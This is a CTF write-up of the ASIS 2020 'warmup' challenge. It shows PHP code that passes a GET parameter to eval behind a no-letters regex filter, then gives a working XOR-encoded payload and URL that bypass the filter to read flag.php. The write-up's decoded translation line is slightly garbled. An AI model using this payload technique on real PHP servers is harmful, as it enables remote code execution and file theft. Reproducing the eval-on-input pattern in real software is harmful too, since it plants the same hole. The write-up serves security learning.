Synopsis

I recently participated in the ASIS CTF 2020 Qualifiers and ran into an interesting problem involving a regex escape used to execute PHP code in order to read the flag.

Solution

Visiting the website, we can see the source code for a PHP file:

<?php
/*ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);*/

if(isset($_GET['view-source'])){
    highlight_file(FILE);
    die();
}

if(isset($_GET['warmup'])) {
    if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) {
    eval($_GET['warmup']);
    }else{
        die("Try harder!");
    }
} else{
    die("No param given");
}
?>

Source Code Analysis

Based on the source code, we can see an obvious command injection with the use of PHP’s eval function, which will evaluate whatever is passed in to the warmup GET parameter as PHP code. The catch is that there are no alphabetical letters allowed in the entire string. This check is done with !preg_match('/[A-Za-z]/is',$_GET['warmup']). The size of the input string passed in as the warmup parameter is also limited to 60 characters.

From the problem prompt, we can assume that our goal is to read a file flag.php in the same directory.

Filter Bypass, Regex Escape

How can we possibly do any major code injection and extract the flag from the webserver without letters? We can do so with the magic of XOR encoding.

In PHP, it is possible to do a bitwise XOR operation with two strings and have the output essentially be an XOR-encoded string with no alphanumeric characters.

“If both operands for the […] ^ operators are strings, then the operation will be performed on the ASCII values of the characters that make up the strings and the result will be a string.” (https://www.php.net/manual/en/language.operators.bitwise.php)

$_="`{{{"^"?<>/"; // XOR of "_GET"
${$_}[_]; // XOR of "$_GET[_]"
(${$_}[__]); // XOR of ($_GET[__])

The final payload which allows us to read the flag is:

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=highlight_file&__=flag.php

This translates to:

$_GET[_](=_GET[__])&_=highlight_file&__=flag.php

Visiting the following URL, we are able to read the flag:

http://69.90.132.196:5003/?warmup=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=highlight_file&__=flag.php

Contents of flag.php:

<?php
$flag = "ASIS{w4rm_up_y0ur_br4in}";
?>

Flag: ASIS{w4rm_up_y0ur_br4in}

Additional Resources: